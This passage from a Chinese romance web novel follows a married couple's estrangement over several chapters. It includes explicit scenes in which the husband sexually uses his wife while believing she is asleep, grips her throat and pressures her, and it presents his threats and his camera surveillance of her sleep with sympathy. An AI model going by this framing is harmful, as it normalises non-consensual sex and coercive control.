司机把她送到门口,推开院门,刚进庭院,言言撒开脚丫飞速朝她跑来,温夏蹲下去,伸出双臂,被它撞了个满怀。
“想我没有?”温夏轻轻捏了捏它的耳朵。
言言:“汪!”想了!一直在想!
温夏弯了弯眼睛,“我换身衣服,带你去公园玩,好不好?”
言言:“汪汪!”喜欢妈妈陪我玩!
温夏眸中的笑意更深,她还有言言。
“汪!汪!!”
言言蹭她的胳膊,示意她抬头。
温夏微怔,抬眼看过去。
顾衍南站在大门前,一袭铁灰色商务西装,是下午看见他时穿的那身,这身是她给他买的——事实上,他衣柜里有一半的衣服是她买的,只不过刷的是他的卡。
他那段时间时不时就阴阳怪气,他的合作伙伴陆延城的衣服都是他老婆给她挑的,陆延城经常在他面前炫耀,温夏怎么会听不出他的意思,便专门空出一天的时间去他常去的那家高端男士定制西装店,给他订了十几套的西装。
然后晚上又陪他去商场买家居服和休闲服。
他是瘦了么,肩膀那里不是太合身。
只思考一瞬,她从这个没意义的问题中抽离,眸底的笑意消失殆尽。
顾衍南眸中的暖意随之消失,转身回到客厅。
温夏垂下眼皮,在院子里陪言言玩了会儿,才进屋。
一进去,就看到客厅沙发旁堆满精致的礼盒,她微微怔住。
随意摆放的礼盒,靠坐在沙发上的男人,他每次出差回来都会给她带礼物,在她说谢谢后,他会挑眉向她要谢礼,然后他们会在沙发上抱在一起接吻。
点点熟悉,让温夏的心脏猝不及防地痛了一下。
原来他们之间有这么多的回忆,多到因为很小的一件事就能触发联想的关键词。
“给你买的。”在温夏出神的瞬间,顾衍南缓缓开口,嗓音淡哑。
温夏回神,对自己刚才的出神意外又自我厌弃,她用没什么情绪的声音说:“好,我会收起来,等下次去见顾爷爷戴给他看。”
顾衍南一言不发地看着她。
温夏不躲不避,和他对视。
最后,他们什么都没说,分别挪开视线。
正如她知道他给她买礼物,早已不是为了给顾爷爷看,他也知道她知道这点。
可是质问没有意义,就像他在打电话时,不会告诉她和他有关的事,因为他知道她不感兴趣,她不想知道,他说了之后她只会回一个冷淡的“嗯”。
他们之间,只能聊点无关痛痒的小事。
一深入,就不可避免触及无法触碰的话题,就会击碎一触即破的风平浪静。
两人都很清楚。
——他们的关系陷入了死局。
第42章 “我爱你。”
温夏上楼换了身休闲服, 返回客厅时,顾衍南还在沙发上,见她下来, 他问:“去遛狗?”
温夏:“嗯。”
顾衍南放下平板, 起身:“我也去。”
温夏眨了下眼,淡声:“嗯。”
这个点外面天已经黑了,天气越来越冷,晚风吹在身上带来阵阵寒意,顾衍南一只手拽着狗绳,另一只手牵她。
去年暑假,顾衍南带着她去美国出差, 一同前行的还有他的合作伙伴陆延城和他的妻子,在机场的时候,他看到陆延城和妻子手牵手,便执意要牵她的手。
结婚后, 他们在外面很少会有肢体接触, 一些必要的场合, 都是她按照严格的社交礼仪主动去挽他的手臂。
他的手掌干燥温暖,比她的要大很多,能把她的手完整地包裹进去, 温夏以前很喜欢和他牵手,尤其是天冷的时候。
现在仍是手牵着手一起遛狗,可她的心底只有悲凉。
顾衍南也想到以前的事,试图把两人的相处模式拉回从前, 没话找话:“你喝酒了。”
他用的是肯定句,温夏点点头:“嗯,见客户, 喝了两杯。”
顾衍南皱了下眉:“少喝点酒,对身体不好。”
温夏很想说,喝酒对身体不好,那你干嘛一直喝,而且还总是抽烟。但她什么也没说,只是嗯了声:“知道了。”
听着她话里的敷衍,顾衍南没忍住用力,捏得她手骨一疼,温夏“嘶”了声,下意识抽手。
“弄疼你了吗?”他卸下力气,松开手。
温夏抿唇,语气有些不耐地回:“疼。”所以不要再牵她了。
“sorry,我轻一点。”顾衍南又拉起她的手,骨骼分明的长指一根根穿插进她的指缝,和她十指相扣。
温夏想抽手,不过想想也知道抽不掉,就没有挣扎,任由他牵着。
顾衍南见她让他牵手,薄唇微微扬起:“这周五去趟老宅,很久没去了。”
自从他们闹掰以后,就没回去过,两人都认为,感情和婚姻是他们自己的事,就像温夏从不告诉大哥她和顾衍南现在的真实关系,顾衍南也没闲到把他们两口子的事闹到顾老爷子面前。
这段时间老爷子一直打电话喊他们回去,顾衍南都以工作忙敷衍过去,这趟回国,再不回去老爷子该发火了。
温夏说:“好,我会把时间空出来。”
顾爷爷对她挺不错的,虽然有些严肃,但比温家那些所谓的长辈要对她好得多,于情于理,她都不能因为顾衍南做的事不去看望他。
“下班后我去温氏接你。”
温夏:“嗯。”
有问有答,比上次一起出来遛狗要好得多,至少不是沉默。
可顾衍南忍不住去想,如果在闹掰之前她会怎样?她肯定不会只回他一个“嗯”字,也不会用最少的字结束话题,然后等着他没话找话,她会主动问他出差这些天的事。
他们很久没有分开这么久了,她这些天有想起过他吗?
就算没想他,肯定也想起过他。
毕竟她住在他们的家,每晚都要去遛他们一起养的狗,她的生活中到处都是他的痕迹,所以她肯定想起过他。
想到这,顾衍南心情好了点,盘踞在胸口很久的郁气散去,他抓起她的手放到唇边亲了亲,眉眼间笼罩着浅浅的笑意。
“再遛一圈吧。”
温夏淡淡看他一眼,不明白他怎么突然就心情变好了,蹙眉把手抽回来,在衣服上蹭掉掌面上他的口水。
这种孩子气的模样让顾衍南心情更好,唇角弧度更深,连带着小蠢狗都看顺眼起来。
这半个月多温夏都是自己睡的,她已经要习惯了,当顾衍南掀开被子,躺在她旁边,她的身体本能地颤了下,旋即痛恨自己的反应。
她不该这么在意他的存在。
顾衍南一直在盯她,将她的反应收入眼底,看着她轻轻颤动的睫毛,心弦像是被羽毛扫过一般,麻麻痒痒的。
她穿着条雾蓝色的绸质吊带睡裙,黑发长发披肩,锁骨和肩膀裸露在外,手臂纤细白皙,肌肤滑腻如绸缎。
顾衍南的喉结轻轻滚了下,眼眸不动声色地暗了下来。
自从他生日那天在车上,已经快一个多月没有了,出差前有几次,他从背后抱着她,深夜有些难耐。
她的手软的跟没骨头似的。
但不能吵醒她,也不能用力亲她,不然会留下印子,会被她发现,让她觉得自己跟个变态一样。
睡梦中的她很乖,他吻她她会无意识回应,口中还会嘟囔着他的名字。
他知道,她对他的欲望,不比他对她的少,她非常喜欢他的身体,不然当年不会勾他,这是他为数不多的优势。
自从出差,他深夜睡不着,只能看着监控里她恬静的睡颜,幻想着是她的,勉强能纾解几分。
离得远尚且如此,此刻她就在他触手可及的地方,顾衍南的身体不可避免躁动起来,可想到那天她恐惧的眼神,他强逼着自己把欲念克制住。
等她睡着吧……
他们的关系稍微好了那么一点点,不能再起冲突。
卧室的灯关上,陷入一片黑暗。
她身上好闻的柠檬香无孔不入地钻入他的呼吸。
顾衍南从背后抱住她,柔软的触感和香味让他上瘾,轻而易举地勾出血液里的兽.欲。
脑海里天人交战,他只能更紧地抱住她,把脸埋在她肩窝,深深地嗅着她身上的香味。明知道这是饮鸩止渴,是自找折磨,是隔靴搔痒,可就是不想松手。
温夏被他的力道勒的呼吸不畅,她不是纯情少女,知道那代表着什么。
搁在被窝里的手指蜷了蜷。
脑子里分析出声阻止的后果——就算不做,也免不了接吻。
而且他现在这样,很可能做到底。
现在只是被他抱着,总比前两项好。
温夏选择装睡,慢慢调整呼吸。
身后,顾衍南听着她的呼吸渐渐均匀,又等了一会儿,低声试探地喊她:“温夏?温夏?”
没人应声,温夏一副熟睡的模样。
黑暗中,男人的黑眸仿佛闪着绿光,像是饿极的野兽,薄唇含住她的耳朵,舌尖轻轻舔舐挑逗。
耳朵是她的一个敏.感点,他咬住耳珠那刻,温夏忍不住嘤咛出声。
顾衍南当是她睡梦中的本能反应,没有起疑,反倒被她的反应刺激到,轻轻掰过她的身体,嗓音暗哑:“乖宝宝……”
温夏心头一震,他从不对她说这种甜腻的称呼,偶尔调情时说的“宝贝儿”,挑逗的意味居多,再到后来的威胁,以至于她一听到他那么叫,就浑身颤栗。
正想着,他突然拉着她的手。
温夏本能一缩,却被强制按住,低声哄着:“乖,不准松手。”
还是那么强势,温夏权衡这时“醒”来的后果——他被她拆穿肯定会恼羞成怒,她也不知道该怎么面对他。
用就用吧,只是手而已。
顾衍南的喉结缓慢滚动,喘息声在寂静的黑暗中格外清晰,他握着她的手,夸赞:“宝宝,好乖……”
“要是醒着的时候也这么乖就好了。”
“宝宝,不要敷衍我,不要不理我。”
“嘶——”顾衍南喉间溢出哑声,突然松开她的手。
反正她睡着了,手和腿没什么区别。
黑暗中,他看不清她的神情,但能感觉到空气变得湿润。
“宝贝,你也喜欢的,是不是?”
“肯定喜欢的……”
“是不是想要我……”
黑暗中,不会有人看见,她也不会发现,不会拒绝,不会用冷冰冰的眼神看他,他可以肆意掠夺他想要的一切。
欲望会消磨理智,越是靠近她,压制在内心深处的晦暗情绪越是隐藏不住,他现在只想不管不顾——彻底占有她!
她本来就是他的妻子,他的顾太太,他为什么要像个贼一样做这种下流的事?他名正言顺,他光明正大的很,他完全可以这么做!
理智被与欲望挟持,他实施了心中所想。
深邃的眸中闪过扭曲的快感,顾衍南捧着她的下巴,亲吻她的额头,眉心,脸颊,鼻尖,再到柔软的唇瓣,他用舌尖轻轻描摹她的唇形,轻轻含咬,然后把舌尖抵进去,与她唇舌勾缠。
呼吸交缠,他的舌尖越抵越深,温夏身体颤栗不已,头皮一阵发麻,他怎么越来越变态?
他是把她当成充气娃娃吗?
忍无可忍,腰被他的大掌扣住,温夏睁开眼,伸手去推他,突然听到他在她耳边呢喃:“我爱你。”
温夏瞳眸剧烈紧缩,动作陡然僵住,眼神慌乱得不知所措。
他……他说什么?
她身体的细微变化,陷入情.欲中的顾衍南以为是她的生理反应,没有怀疑。
嗓音低哑模糊:“温夏,我爱你,不要跟我离婚,不要不理我,我爱你……”
温夏闭上眼睛。
“我爱你。”
她该回什么?
她没被人爱过,她不知道该怎么回。
以前那些和她告白的男生,用的词都是浅薄的喜欢,即使有人说“我爱你”,她很清楚那只是一个很普通的形容词,和她心中对这个字的定义不一样。
可是……她知道,顾衍南和她对这个字的定义是一样的。
他爱她……
温夏攥紧拳头。
这一夜,他不知道在她耳边重复多少遍那三个字,多到温夏从最初的震惊到后来的麻木,她没有“醒”来,因为她不知道该怎么面对他。
夜色沉沦,浑浑噩噩。
夜晚漫长到看不见尽头。
听着他一遍又一遍的“我爱你”,温夏心里却对他生出一股强烈的恨意。
第43章 “我讨厌你,非常讨厌。……
后半场, 温夏还是“醒”了过来,因为越到后面,他就像疯了一样在她身上肆虐, 大掌掐着她的脖子接吻, 还是唇舌交缠到令人窒息的深吻,舌尖抵到她的嗓子眼,再不醒过来,她绝对会被他掐死。
使上全部的演技,温夏一副刚被折腾醒的样子,推搡着掐着她脖子的小臂,指尖摸到根根分明的青筋, 声音含糊:“顾……顾衍南……”
原本还以为自己的突然转醒会让他停下或者至少也会意外,然而,事实截然相反,他更加兴奋。黑暗中, 温夏感觉到掐着她脖子的力道又紧了几分, 伴随着他粗重的喘息, 他的吻密密麻麻落了下来。
不似刚才的深吻,只是唇瓣轻轻摩擦碰撞,她们接过的吻不计其数, 也不知道是刚才满足过还是刻意要勾她投入,这次的吻绝对算得上炫技,温夏很快就浑身瘫软,化成一汪春水, 忍不住溢出低吟。
她听到他低低笑了声,旋即去吻她的唇角,下巴, 炙热绵密的吻继续向下,途径每一寸皮肤。
每被他吻一下,她的身体就抖一下,就像坏掉的机械设备,完全不受控制。
“喜欢吗?”顾衍南吻上她脖颈的动脉,轻轻啃咬,嗓音嘶哑得不成样子,“宝贝儿,你喜欢我这么对你,对不对?”
“你看,你的身体要比嘴巴诚实得多。”他慢条斯理地往她身上抹。
温夏的意识被撕扯到两个极端,如果人的所有感官都能像眼睛一样随时都能闭起来那该有多好,可是没有,他对她身体的了解探索程度比她自己还要深,轻而易举就能勾起最原始的欲望。
这种原始的反应让温夏感到羞愧,她咬着唇不吭声。
可他偏要逼她说话,故意刺激她:“宝贝儿,你知道自己有多喜欢吗?你是我的,哪里都是我的,”他的手摸着她的小腹,温热的气息落在她耳畔,“这里也变成我的,感受到了吗?”
温夏颤着手指,轻轻吸气。
以沉默对抗。
换来的是他更恶劣的逼问:“为什么不理我?白天不理我,做你最爱做的事还要不理我吗?”
他的声音充满情.欲,却渐渐失去温度:“是我伺候你伺候的不舒服吗?没能让你爽吗?你想要我做什么?或者你想去哪里我抱你去?”
温夏身上沁满薄汗,和他的汗液混在一起,乱七八糟。
她咬牙不语。
顾衍南习惯她的沉默,自顾自道:“琴房好不好?把你放在钢琴上,高度正合适,还是你的画室,不过这会弄脏你的画稿,上次弄脏你的画,你给我看了好久的脸色,要不还是去你的衣帽间吧,换衣镜很大,你可以看到自己是怎么吃的,地毯会被你弄湿弄脏,上面全是你的东西……”
温夏想把耳朵闭上,屏蔽他的话,可他今晚像是疯了一样,越是不理他,他的话越过分,她“睡着”的时候喊她乖宝宝,醒来就变成粗鄙的“水宝宝”。
“不许说……”温夏忍无可忍,去捂他的嘴。
顾衍南微怔,顺势含着她的指尖,低低笑出声:“为什么不许说?难道说错了吗?不是水宝宝为什么会有这么多……”
温夏勾住他的脖子,堵住那张不停说骚话的嘴。
一触即燃,他吻过她多少次,都比不上她主动这一次,顾衍南喉结艰涩地滚动,全身心地投入到这个吻中。
接下来的一切都水到渠成,顾衍南很喜欢她的肌肤,其实比起长相和身材,外人看到她的第一眼,印象最深刻的是她那身不似黄种人的冷白皮,白皙软腻,触感特别好,很轻易就能在上面留下痕迹。
顾衍南很爱这么做,看着她身上深深浅浅的於痕,都是他带给她的,有种将她完全占为己有的病态快感。
今晚也不例外,他把吻痕种满她全身的每一寸皮肤,连角落深处也不放过。
就像原始的雄兽在标记它的雌兽。
长夜漫漫,今晚有些过于漫长。
到最后,温夏的大脑再也没有思考的能力,彻底沦为欲望的奴隶,不管他蛊惑她做什么说什么,她都照着做。
水乳交融,亲密无间。
就像以往无数个夜晚那样。
-
许久没有过的好眠,时差加上长时间的体力运动,顾衍南这一觉睡得很沉,温夏下床也没吵醒他。
穿上拖鞋,径直走向洗手间,拧开水龙头。
一捧冷水浇上脸,她抬眸,镜子里清晰得倒映着那片从脖子蔓延到锁骨的暗红。
很深的印记,没有一个星期不可能消掉。
她抬手,指尖轻轻抚摸那片痕迹,不知道想到什么,突然用力揉搓,好似这样就能把吻痕搓掉。
突然,洗手间的门从外拉开,顾衍南看到的就是女人正在肆虐自己的皮肤。
他的瞳眸骤然紧缩,大步走到她跟前,拽住她的手腕,“你干什么?!”
温夏被他吓了一跳,心脏剧烈地颤了下,她用力抽出自己的手腕,淡声:“什么干什么?”
顾衍南下颌紧绷,眼神阴沉地盯着她,声音冷得仿佛能凝出冰渣:“为什么要这么用力地搓身上的吻痕?你就讨厌我讨厌到这种地步?”
也许是昨晚……不,准确的说是几个小时前他们还亲密无间地负距离接触,他埋在里面,半逼班哄让她喊他老公,自从闹掰以后她再也没喊过了,她最开始不愿意喊,他故意停下,钓的她不上不下,最后她还是喊了。
老公、老公、老公,一遍又一遍,就像以前在床上那样。
他又让她说情话给他听,他说一句要她学一句,她昨晚明明亲口说喜欢他这么对她,四舍五入不就是她喜欢他,虽然有强迫的成分,但……总不至于全是强迫。
自从闹掰以后,她给他的只有冷淡和敷衍,他其实已经习惯了。
但或许是昨晚她的乖顺,让他以为他们有回到以前的希望。
睁开眼的那刻,下意识低眸,她不在他怀里,她去哪儿了?
他立刻下床,途径洗手间,听到里面的动静,拉开门的那刻却看见她以一种自虐的力道搓弄锁骨下的那片吻痕,雪白的肌肤已经被她揉红了,软嫩的皮肤根本经不住这样磨砺,近看快要破皮渗血。
她就这么讨厌他?讨厌到连他留下的吻痕都不能容忍,宁愿自己疼也要弄掉?
“你真的就这么讨厌我?”他又问了一遍,不知道是想听她说什么。
温夏手指无意识攥起来,语调冷淡:“你何必明知故问。”
顾衍南眼眸微震,面上没有多大的表情,追问:“是,还是不是,看着我的眼睛说。”
他抱着最后一丝她在生气,口不择言的希望。
下一刻,他看到她嘲讽地勾了勾唇,直勾勾地看着他,语气嘲弄:“我说我要离婚,你用我的家人和朋友逼我不准离,是你亲口说的我们按照钱色交易来,昨晚跟你做挺舒服的,你爽了我也舒服了,我们之间也就这样了,你问这些有什么意义?”
“是,还是不是?”
温夏深吸一口气,看着他的眼睛,一字一顿道:“是,我讨厌你,非常讨厌。”
“讨厌我?”顾衍南眯起眼睛,下颌线条紧紧绷着,洗手间的气压都跟着降低。他嗤笑出声:“讨厌我你昨晚夹着我的腰要我再重一点再快一点?你骑在我身上扭腰的样子,需不需要我帮你回忆?”
“我说过,跟谁做我都这样,生理反应而已。”
顾衍南的喉咙一紧,脸色到眼神都阴鸷到极点,呼吸变得紊乱急促。
温夏继续道:“虽然我讨厌你这个人,但不讨厌你的身体,你不愿意放过我,我们就这么过吧,反正我对你最大的价值也不过是陪你做.爱,我马上就三十了,比不上年轻漂亮的小女生,你再大的兴致也用不着几年就腻了。”
她咽了咽嗓子,把酸涩的液体压下去,突然看到他赤脚踩在地板上,剩下的话就这么卡在喉咙里。
眼皮募地一酸,她转过身,拧开水龙头,侧对着他说:“我要洗漱了,没意义的事我们以后别再谈了,你出去吧。”
话落,她低眸,看着水柱在盥洗池中转了一圈,旋状钻进了下水道。
不知道过了多久,身后响起脚步声,愈来愈远。
温夏缓缓舒了口气,低头,慢慢闭上眼睛。
水滴落入盥洗池,混入水流中,一同进入下水道。
-
九点钟,温夏准时出现在办公室。
中午的时候,顾衍南打了个电话,像前些天那样问她一些无关痛痒的小事,她如实回答,然后是他想不出新的话题,两人沉默地听着彼此的呼吸,等他挂断电话。
可他这次迟迟不挂,就像在和她较劲。
温夏实在想不通,他这样做有什么意义,是因为他爱她吗?
她念大学的时候,听说过一个理论,感情是一种负面情绪,感情越深带来的负面影响越多,“爱”这个字太沉重,可以说是感情升华到顶点的产物,所以带来的负面作用这么大。
磨人磨己。
爱这种奢侈的东西,她要不起。
僵持快三分钟的电话在助理敲门的那刻被打断,温夏对着电话那头说:“还有事吗?我助理有事找我。”
几秒后,电话骤然被挂断。
温夏轻轻吐了口气,对着手机屏幕整理了下情绪。
“进来。”
-
挂断电话,顾衍南指骨收紧,利落分明的骨节被捏到泛白。
【我讨厌你,非常讨厌。】
【虽然我讨厌你这个人。】
【我马上就三十了,比不上年轻漂亮的小女生,你再大的兴致也用不着几年就腻了。】
【没意义的事我们以后别再谈了。】
讨厌他,她讨厌他。
他早该知道的,她表现得已经这么明显了。
她是抱着等他“腻了”的心态,待在他身边吗?
成熟理智的人做事总会瞻前顾后,权衡利弊,她多年的习惯让她不会和他鱼死网破,所以她妥协了。
在她看来,她只需要等,等他对她没兴致,就会放过她。
这样既能摆脱他,又能保全温家。
在她眼里,他对她就是“过不了几年就会腻了”吗?
年轻漂亮的小女生,他如果能喜欢上别人,早八百年就喜欢上了,用得着在她身上犯贱。
温夏……
周之恒进来的时候,看到顾衍南盯着电脑,他以为顾总正在看什么重要的报表,这么专注,可走近一看,电脑的屏幕是黑的。
唉,又在想太太吧。
正纠结要不要打断顾总的“忧思”,顾衍南淡淡出声:“什么?”
语气到神情都恢复正常了。
周之恒装作什么也不知道,把文件递给他:“这是市场部送来的……”
整个下午,顾衍南都在忙工作,晚上有应酬,可去可不去,他还是去了。
不去,回到家说不定又得吵架,早上已经吵过一架了,她讨厌他,她说非常讨厌他。
想到这两个字,顾衍南胸口一阵窒息。
觥筹交错的包厢,顾衍南坐在主座,看着饭局上一张张虚伪的笑脸,这群人无非是想从他口袋里掏钱,要么是要他的资源,明明这些他都肯给她,她却很久没有对他笑了。
“顾总,我接个电话。”周之恒凑到顾衍南身边,有些犹豫地看着他。
顾衍南淡淡扫他一眼:“去吧。”
周之恒感激地看着他,拿着手机走出包厢。
顾衍南刚才瞥到周之恒的手机屏幕,备注是“老婆”,他还没结婚,只是女朋友,女朋友对他特别上心,顾衍南经常看到周之恒走到角落里接女朋友的电话。
如果有应酬,超过九点,他女朋友肯定是要打电话的,有时候还会开车来接他。
在他们撕破脸之前,温夏也会这样,起源于他故意阴阳怪气说陆延城的老婆晚上会来接他回家,她当时听后没有表示什么,但在下一次他应酬晚归,她没打声招呼,直接开车来接他。
他没想到她会来,看到她的那刻还以为是喝醉了,她冲他肆意一笑:“顾大公子,需要我给你拉车门吗?”
就算有时候不来,她也会给他发短信问一问。
回到家,她会给他煮醒酒茶,他会叫她喂他,她虽一副不情不愿的表情,还是会一勺一勺地喂给他喝。
以前,她明明对他很好。
可自从闹掰以后,这些优待全都没了,她恢复成他们刚结婚那副淡漠疏离的模样。
因为她讨厌他,非常讨厌他。
他可以强迫她像以前一样做这些事,她会照做,但仅仅是因为不想和他起冲突,像是在服从无理取闹的上司的要求。
顾衍南面无表情地端起酒杯,白酒从喉咙灌下去,灼烧着空荡的下腹。
有眼色的人立刻给他续杯,然后敬酒,顾衍南眯眼笑了下,端起酒杯一饮而尽。
一连喝了几杯,脑子还是很清醒,在美国创业那会儿,他也曾被人灌过酒,这几杯不过他酒量的十分之一。
正在继续喝,突然,他的手机一震,顾衍南低眸,瞳眸募地一震。
——顾太太。
她给他打电话?
误触了吗?
顾衍南长指微触,点了接听。
同时示意保持安静。
众人齐齐嘘声。
他喉结滚了滚,正要开口,电话那头响起一道陌生男人的声音:“您好,请问您是这个手机主人的丈夫吗?”
顾衍南皱起眉,沉声:“你怎么会有她的手机?”
“……”服务生被他的语气吓了一跳,连忙道,“这位女士在我们酒吧喝醉了,我问她打给谁,她说打给她丈夫,然后解锁手机让我打。”
“地址。”
服务生赶紧报了地址。
挂断电话,顾衍南起身,连最后的客套话都没说,拿着西装外套就往外走。
留下饭桌上的一群人面面相觑。
-
顾大公子虽然有钱有权,但一直是北城遵纪守法的好公民,严格遵守交通法规,今晚破了例。
赶到酒吧刚过十点,顾衍南携着深秋的寒意走进来,一下子吸引众人的眼球。
这是一家清吧,人不算多,服务生看到顾衍南的那刻,眼底划过一丝惊艳。
乖乖,怎么一个两个长得这么好看?这个身材,这个气质,明星吗?
本能觉得这就是面前这位小姐的丈夫,招手:“这里……”
顾衍南看过去,女人穿着件柔软的白色毛衣,趴在吧台上,听到服务生的话抬起眼,因醉酒反应有些迟钝,眼神朦胧地看着他走近。
脚步加快,顾衍南将西装外套披在她肩膀上,她乖乖地任由他披上,在顾衍南抱她的时候,还配合地勾住他的脖子。
一路抱到车上,挡板放下。
车上很快被酒味侵占,光闻她身上的酒味就知道她今晚喝了多少酒,顾衍南皱着眉,沉声:“谁让你喝这么多酒的?”
她不舒服地在他怀里扭来扭曲,嘟囔着:“不舒服……”
“知道不舒服你还喝这么多?”
“心情不好,借酒消愁。”
顾衍南心脏紧紧一缩,因她独自一人在外醉酒的怒气就这么消失了,他缓了缓语气,低声问:“为什么心情不好?”
温夏睁开眼,杏眸上覆盖一层薄薄的水雾,沉默地盯着他。
就在顾衍南以为她不会回答时,她突然伸出手指,指着他的鼻子:“因为你。”
顾衍南说不上此刻的心情,既满足她满脑子都是他,又烦躁她脑子里对他并不是什么好印象。
他继续问:“为什么?”
说着,他低下头,额头抵着她的,近在咫尺的距离,对上那双朦胧的眼睛。
温夏重重冷哼:“当初养言言的时候你怎么承诺我的?你明明说过会和我一起照顾它,你自己算算,你有多少天没有和我一起陪它散步了!你这个说话不算数的骗子!”
顾衍南怔住了,心脏猛地跳了下。
他以为她会指责他对她做的那些坏事,或者是像早晨那样说讨厌他,没想到她会提到言言。
“你总是这样,说话不算数,”她用指尖用力戳着他的胸口,很生气地说,“我再也不会相信你了!”
温夏很少喝醉酒,上次在海南醉酒挺老实的,顾衍南没想到会看到她这一面,整颗心脏都像是泡在柠檬水里,被浓密的酸涩浸泡着。
他轻拍她的后背,低声哄慰:“对不起,我以后会每天按时回家和你一起遛狗,宝贝,别生我的气。”
她用力地别过脑袋,冷哼:“我不会原谅你的,你是混蛋,你只会威胁我,我再也不要理你了。”
顾衍南的心脏微微发怔,低眸看她这幅孩子气的模样,一句话就这样脱口而出:“如果我不威胁你,放你自由,你还会理我吗?”
第44章 “吃完饭,我们谈谈离婚……
许是他的声音太温柔, 温夏把头转过来,睁大眼睛盯着他。
因为醉酒,她的脸蛋泛着红潮, 眼神迷离, 雾蒙蒙的,像是一个茫然思考的小孩子。
不知怎的,顾衍南募地有几分紧张,明知她酒鬼的思考能力为零,且第二天不会认账,可他……想知道她的真实想法。
他没有打断她的思绪,抱着她在怀里调整了个舒服的姿势, 长指穿插在她柔软的发间,等待她的审判。
事实上,他刚才会说那句话,连他自己都意外, 他怎么可能放她自由。
她自由后, 他再也没有名正言顺的借口留下她, 他没法每晚抱着她睡,也不能随心所欲地亲她,甚至不再有立场阻止野男人接近她。
她的追求者一直都多, 等她恢复自由身,那群野男人肯定会一窝蜂涌上来,难保没有会说花言巧语哄她开心的小白脸,到时候他该怎么办?眼睁睁看着她和别的男人有说有笑吗?
顾衍南的目光一寸寸冷下来, 扣着她腰的力道不自觉收紧。
“你弄疼我了!”陷入沉思的温夏回过神,不满地指责他。
顾衍南低眸,松了力道。
虽不会放她自由, 但他还是想知道答案,于是追问:“想好了没?”
温夏眼睛动了动,仰起脸蛋,很严肃地说:“我可以考虑。”
顾衍南轻轻刮了下她的鼻子,勾起唇:“你这是什么答案,故意在敷衍我?”
温夏皱着小脸,很不满地瞪着他:“我没有敷衍你,你对我做了很坏的事,但你以前对我很好的,而且你还是言言的爸爸,还在我们家快要破产的时候帮我,只要你放我自由,我可以考虑以后理你。”
这话条理清晰的让顾衍南几乎要以为她是在装醉,故意用这幅模样劝他,他捏了把她的脸蛋,眯着眼睛道:“我开玩笑的,你死了这条心。”
她的脸立刻垮了下来,冷哼了声,又把头别了过去。
顾衍南从背后圈住她的腰,下巴搁在她的肩膀上,附在她耳边低低道:“温夏,我会对你好的,比以前还要好,不要总想着离开我。”
女人低垂着脑袋,黑色长发垂落,挡住她的神情。
北城的夜晚霓虹遍地,公路上车水马龙,熟悉的街景不断往后倒退。
回到明湖公馆,怀中的女人已经睡着了,顾衍南打横将她抱起来。
下车后,秋夜凉风吹在身上,温夏本能地瑟缩了下,在他怀里睁眼,看到抱自己的人是顾衍南,复又闭上。
顾衍南把她抱到沙发上,正要去煮醒酒茶,看她扶着脑袋,小声嘟囔着:“头晕。”
“我给你揉揉?”
她盯着他,似乎在思考他有没有资格给她揉太阳穴,好一会儿才道:“嗯,可以。”
“……”
顾衍南单膝跪在她身侧的沙发,替她揉太阳穴,以往都是她给他揉,因为温夏很少喝醉酒,她酒量不算差,应酬时也没人敢灌她酒,偶尔给面子喝上一两杯。
【心情不好,借酒消愁。】
想到她说的这句话,顾衍南抿着唇,低眸去看她,却看到她直勾勾地盯着他。
心脏募地一动,他低声问:“怎么了?”
她突然抬手,摸了摸他的脸:“你这段时间是不是没有认真吃饭,你瘦了好多。”
顾衍南喉咙一紧。
她的手指柔软纤细,触感柔软,声音也很温柔:“你出差也要照顾好自己呀,不然生病了我还要照顾你。”
他攥住她的手指:“我生病,你还会照顾我吗?”
“当然了,你是我的丈夫,这是我的义务。”
顾衍南看着她严肃认真的模样。
年初的时候他因为流感发烧,她全程贴身照顾他,早上他一动她就醒了,第一件事就是去摸他的额头有没有退烧。
他竭力避免去想过去的事,因为只要想到以前她对他到底有多好,他就愈发受不了她现在的冷漠疏离。
可今天频频想起那一年多的事,原来她那时候对他那样好,好到他嫉恨过去的自己。
顾衍南良久没有挪开视线。
等明天她酒醒了,又会变成那副冷淡的模样。
她不会记得今晚说过的话,即使记得,她也会装作不记得,因为这对清醒时的她来说,是没有意义的事。
大约是他长久未动,女人皱起眉头,不悦地道:“你听到我说的话没有,要好好吃饭,你想胃病复发吗?”
他的嗓音沙哑:“好,我答应你。”
她小鸡啄米般点了点头,垂着脑袋不知道在想什么,顾衍南正要问,她突然仰起头,以一种介于撒娇和抱怨的语气说:“你好久没有给我做饭吃了。”
顾衍南:“我做了,你不愿意吃。”
她一脸困惑:“我为什么不愿意吃?”
“因为我把你惹生气了。”
她怒瞪他:“你为什么要把我惹生气!我脾气最好了,一定是你的问题。”
他抓着她的手指,放在唇边亲了亲:“嗯,是我的问题,对不起。”
她鼓了鼓腮帮:“看在你认错态度良好的份上,我原谅你这一次,不能再有下次。”
“不会再有下次了。”
比起清醒时的冷淡,今晚的她可以算得上话痨,就这样窝在他的怀里,毫无逻辑地和他闲聊。
一会儿扯到领养小蠢狗那天,他们在宠物市场挑了好久才选中言言,然后话题突转,跳到去年他生日,她亲自下厨做晚餐,不过没有把握好,每道菜都咸了。
说着说着,她的声音越来越小,顾衍南低眸,看她闭上眼,低头亲了亲她的眉心,让她平躺在沙发上,去煮醒酒茶。
二十分钟后,他端着已经不烫的茶汤走到她身边,轻轻把她晃醒,“把醒酒茶喝了,不然睡觉不舒服。”
温夏推他的胳膊:“你好烦。”
顾衍南捏了捏她的脸蛋,低声哄着:“乖,喝完再睡。”
温夏不悦地睁开眼,顾衍南把醒酒茶喂到她嘴边,“慢点。”
她低着头,喝了两口,拧起眉头:“太甜了。”
红唇微张,粉嫩的舌尖露出来,在她的蹭来蹭去下,毛衣的领口大张,大片的粉色皮肤裸露在外。
又喝了几口,把碗递给他,重复道:“好甜。”
顾衍南喉结滚动,接过碗放到茶几上,另一只手扣着她的后脑下压,堵住她的唇。
“我尝尝。”
本就意识迷迷糊糊的,温夏自然不可能抵抗得了他,她也没想着抵抗,任由他去尝她口中的味道。
顾衍南越亲越上瘾,温夏快窒息才放过她。
她边喘息边问:“甜吗?”
顾衍南眼眸暗下去,指腹拭去她唇边的水渍,扶着她的脸又吻了上去。
“很甜。”
-
翌日。
温夏醒来的时候已经快中午了,脑袋隐隐刺痛,她艰难地掀开眼皮,下意识去看身侧。
没人。
他不在。
温夏松了口气,盯着天花板努力拼凑昨晚的事——但什么也不记得。
她醉酒后会断片。
昨晚下班回家的路上遇到车祸,前面堵车了,要等好久才能过路,她叫司机把她放下来,有几个女生结伴去一家清吧,鬼使神差的,她跟了进去。
